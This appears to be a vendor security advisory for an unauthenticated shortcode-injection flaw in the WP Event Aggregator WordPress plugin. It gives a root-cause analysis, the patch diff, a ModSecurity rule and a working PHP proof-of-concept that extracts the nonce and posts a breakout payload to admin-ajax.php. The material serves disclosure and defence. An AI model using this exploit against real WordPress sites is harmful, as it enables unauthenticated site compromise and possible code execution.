Published : December 2, 2026

CVE-2026-141455: WP Event Aggregator: Import Eventbrite events, Meetup events, social events and any iCal Events into Event Calendar <= 1.9.5 Unauthenticated Code Injection to Arbitrary Shortcode Execution via 'atts' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 94
Vulnerable Version 1.9.5
Patched Version 1.9.6
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-141455: The WP Event Aggregator plugin (versions up to and including 1.9.5) contains an unauthenticated code injection vulnerability via the ‘atts’ parameter. The flaw resides in the AJAX handler within class-wp-event-aggregator-ajax.php, which processes user-supplied attributes and passes them to do_shortcode(), enabling arbitrary shortcode execution. Atomic Edge assigns this a CVSS score of 9.8 (Critical) due to the lack of authentication and the potential for remote code execution.

Root Cause: The vulnerability stems from insufficient sanitization of the ‘atts’ parameter in the AJAX action handler. In the vulnerable version, the code iterates over the ‘raw_atts’ array, sanitizes keys with sanitize_key(), values with sanitize_text_field() and esc_attr(), but fails to strip the closing bracket ‘]’ character. This allows an attacker to break out of the shortcode attribute context. The generated attribute string is then passed to do_shortcode(), which executes any injected shortcode. The handler also verifies a nonce via check_ajax_referer(), but this nonce is exposed to unauthenticated users through wp_localize_script on every frontend page, rendering the check ineffective as an access control. The vulnerable code path is located in the file wp-event-aggregator/includes/class-wp-event-aggregator-ajax.php, around lines 66-85 in the patched version’s diff context.

Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable AJAX action (likely ‘wpea_ajax_events’ or similar, inferred from the handler’s context). The request includes the ‘atts’ parameter containing a crafted array. For example, the attacker sets atts[foo] to a value like ‘bar] [evil_shortcode]’ to break out of the wp_events shortcode and inject an arbitrary shortcode. The nonce can be obtained from any frontend page where it is localized. Successful exploitation leads to execution of arbitrary shortcodes, which can result in remote code execution if a shortcode like [php] is available or if other vulnerable shortcodes are present.

Patch Analysis: The patch introduces an allowlist of permitted attribute keys ($allowed_atts) and checks each key against this list before including it in the $atts array. It also replaces the dynamic shortcode construction and do_shortcode() call with a direct call to the wp_events_archive() method of the cpt object, passing the sanitized $atts array. This eliminates the shortcode parsing layer entirely, preventing attribute breakout. Additionally, the patch adds validation for ‘display_sold_out’ and ‘display_online’ attributes and ensures the shortcode exists before processing. These changes fix the vulnerability by removing the dangerous do_shortcode() execution and enforcing strict input validation.

Impact: Exploitation of this vulnerability allows unauthenticated attackers to execute arbitrary shortcodes on the server. Depending on installed plugins and themes, this can lead to remote code execution, arbitrary file deletion, sensitive information disclosure, or full site compromise. The CVSS score of 9.8 reflects the critical severity, with high confidentiality, integrity, and availability impacts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-ajax.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-ajax.php
@@ -66,20 +66,44 @@
 			wp_send_json_error( 'Invalid params' );
 		}

+		$allowed_atts = array(
+			'paged',
+			'posts_per_page',
+			'col',
+			'ajaxpagi',
+			'past_events',
+			'layout',
+			'order',
+			'orderby',
+			'category',
+			'start_date',
+			'end_date',
+			'group_id',
+			'next_event_text',
+			'previous_event_text',
+			'display_sold_out',
+			'display_online',
+		);
+
 		$atts = array();
 		foreach ( $raw_atts as $key => $val ) {
 			$clean_key = sanitize_key( $key );
-			if ( '' !== $clean_key && is_scalar( $val ) ) {
+			if ( '' !== $clean_key && in_array( $clean_key, $allowed_atts, true ) && is_scalar( $val ) ) {
 				$atts[ $clean_key ] = sanitize_text_field( (string) $val );
 			}
 		}
 		$atts['paged'] = max( 1, absint( $_POST['page'] ) );

-		$attr_str = '';
-		foreach ( $atts as $key => $val ) {
-			$attr_str .= ' ' . $key . '="' . esc_attr( $val ) . '"';
+		if ( ! shortcode_exists( 'wp_events' ) ) {
+			wp_send_json_error( 'Events listing unavailable' );
+		}
+
+		$wpea_instance = function_exists( 'wpea_run_wp_event_aggregator' ) ? wpea_run_wp_event_aggregator() : null;
+		if ( empty( $wpea_instance ) || empty( $wpea_instance->cpt ) || ! method_exists( $wpea_instance->cpt, 'wp_events_archive' ) ) {
+			wp_send_json_error( 'Events handler unavailable' );
 		}
-		$html = do_shortcode( '[wp_events' . $attr_str . ']' );
+
+		$html = $wpea_instance->cpt->wp_events_archive( $atts );

 		wp_send_json_success( $html );
 	}
--- a/wp-event-aggregator/includes/class-wp-event-aggregator-cpt.php
+++ b/wp-event-aggregator/includes/class-wp-event-aggregator-cpt.php
@@ -653,6 +653,12 @@
 		/* yes/no flags */
 		$atts['ajaxpagi']    = (isset($atts['ajaxpagi']) && $atts['ajaxpagi'] === 'yes') ? 'yes' : 'no';
 		$atts['past_events'] = (isset($atts['past_events']) && ($atts['past_events'] === 'yes' || $atts['past_events'] === true)) ? 'yes' : '';
+		if ( isset( $atts['display_sold_out'] ) ) {
+			$atts['display_sold_out'] = ( 'no' === $atts['display_sold_out'] ) ? 'no' : 'yes';
+		}
+		if ( isset( $atts['display_online'] ) ) {
+			$atts['display_online'] = in_array( $atts['display_online'], array( 'yes', 'no' ), true ) ? $atts['display_online'] : '';
+		}

 		/* layout whitelist */
 		$allowed_layouts = array( 'style1', 'style2', 'style3', 'style4', 'style5', 'style6' );
--- a/wp-event-aggregator/wp-event-aggregator.php
+++ b/wp-event-aggregator/wp-event-aggregator.php
@@ -5,7 +5,7 @@
  * Description:       Import Events from anywhere - Facebook, Eventbrite, Meetup, iCalendar and ICS into your WordPress site.
  * Requires at least: 5.0
  * Requires PHP:      7.4
- * Version:           1.9.5
+ * Version:           1.9.6
  * Author:            Xylus Themes
  * Author URL:        http://xylusthemes.com
  * License:           GPL-2.0+
@@ -135,14 +135,14 @@
 	 *
 	 * @since 1.0.0
 	 */
-	public function __clone() { _doing_it_wrong( __FUNCTION__, esc_attr__( 'Cheatin’ huh?', 'wp-event-aggregator' ), '1.9.5' ); }
+	public function __clone() { _doing_it_wrong( __FUNCTION__, esc_attr__( 'Cheatin’ huh?', 'wp-event-aggregator' ), '1.9.6' ); }

 	/**
 	 * A dummy magic method to prevent WP_Event_Aggregator from being unserialized.
 	 *
 	 * @since 1.0.0
 	 */
-	public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_attr__( 'Cheatin’ huh?', 'wp-event-aggregator' ), '1.9.5' ); }
+	public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_attr__( 'Cheatin’ huh?', 'wp-event-aggregator' ), '1.9.6' ); }


 	/**
@@ -156,7 +156,7 @@

 		// Plugin version.
 		if( ! defined( 'WPEA_VERSION' ) ){
-			define( 'WPEA_VERSION', '1.9.5' );
+			define( 'WPEA_VERSION', '1.9.6' );
 		}

 		// Minimum Pro plugin version.
@@ -386,5 +386,24 @@
 	$importevents->cpt->register_event_post_type();
 	flush_rewrite_rules();
 	add_option( 'wpea_plugin_activated', true );
+
+	if ( false === get_option( WPEA_OPTIONS ) ) {
+		$default_options = array(
+			'eventbrite' => array(
+				'using_standard_api'   => 'yes',
+				'eventbritre_category' => 'yes',
+				'eventbritre_tags'     => 'yes',
+			),
+			'meetup'     => array(
+				'using_public_api' => 'yes',
+				'import_category'  => 'yes',
+				'import_tags'      => 'yes',
+			),
+			'facebook'   => array(
+				'import_fb_event_cats' => 'yes',
+			),
+		);
+		add_option( WPEA_OPTIONS, $default_options );
+	}
 }
 register_activation_hook( __FILE__, 'wpea_activate_wp_event_aggregator' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-141455
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026141455,phase:2,deny,status:403,chain,msg:'CVE-2026-141455 via WP Event Aggregator AJAX',severity:'CRITICAL',tag:'CVE-2026-141455'"
  SecRule ARGS_POST:action "@streq wpea_ajax_events" "chain"
    SecRule ARGS_POST:atts "@rx ]s*[" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-141455 - WP Event Aggregator: Unauthenticated Code Injection to Arbitrary Shortcode Execution via 'atts' Parameter

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Fetch the nonce from the frontend page. The nonce is localized for anonymous visitors.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce. The exact variable name depends on the plugin's localization; adjust if needed.
// Commonly, it might be 'wpea_ajax_nonce' or similar. The PoC uses a regex to find a nonce-like string.
if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) {
    $nonce = $matches[1];
} else {
    die('Nonce not found. The plugin may not be active or the nonce is not exposed.');
}

echo "[+] Nonce extracted: $noncen";

// Step 2: Craft the malicious payload. The 'atts' parameter is an array.
// We break out of the shortcode attribute by injecting ']' and then our shortcode.
// The shortcode [php] is used as an example; replace with any shortcode that executes code.
$payload = [
    'action' => 'wpea_ajax_events', // Replace with the actual AJAX action name from the plugin
    'nonce' => $nonce,
    'atts' => [
        'foo' => 'bar] [php]echo "ATOMIC_EDGE_PWNED";[/php]'
    ],
    'page' => 1
];

// Step 3: Send the POST request to admin-ajax.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Response:n$responsen";

// Check for successful exploitation
if (strpos($response, 'ATOMIC_EDGE_PWNED') !== false) {
    echo "[+] Exploitation successful! The shortcode was executed.n";
} else {
    echo "[-] Exploitation may have failed. Check the response.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.